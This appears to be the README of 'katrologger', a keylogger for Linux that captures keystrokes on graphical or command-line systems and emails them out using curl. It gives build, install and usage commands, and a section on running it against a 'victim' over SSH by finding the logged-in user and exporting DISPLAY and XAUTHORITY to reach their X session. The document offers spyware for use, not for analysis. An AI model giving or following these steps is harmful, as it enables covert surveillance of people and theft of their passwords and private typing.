KeyLogger for Linux Systems.

• Features
  
  • Runs on GUI systems or CLI
  • Sending data by email
• Dependencies
  
  • curl
  • libx11-dev (Debian-Based)
  • libX11-devel (RHEL-Based)
• Compiling
  

# ./configure
# make
# make install

• Usage

# katrologger --output /path/file

Send data by e-mail:

# katrologger --smtp-help

• Fixing problems accessing via SSH

when connecting to the victim remotely via ssh it will be necessary to export environment variables to run the keylogger.

For hosts with xorg running:

identifying logged in user

# user=$(who | grep "(:0)" | awk '{print $1}')
# echo $user

Exporting variables

# export DISPLAY=:0.0
# export XAUTHORITY=/home/$user/.Xauthority

• Uninstall

make uninstall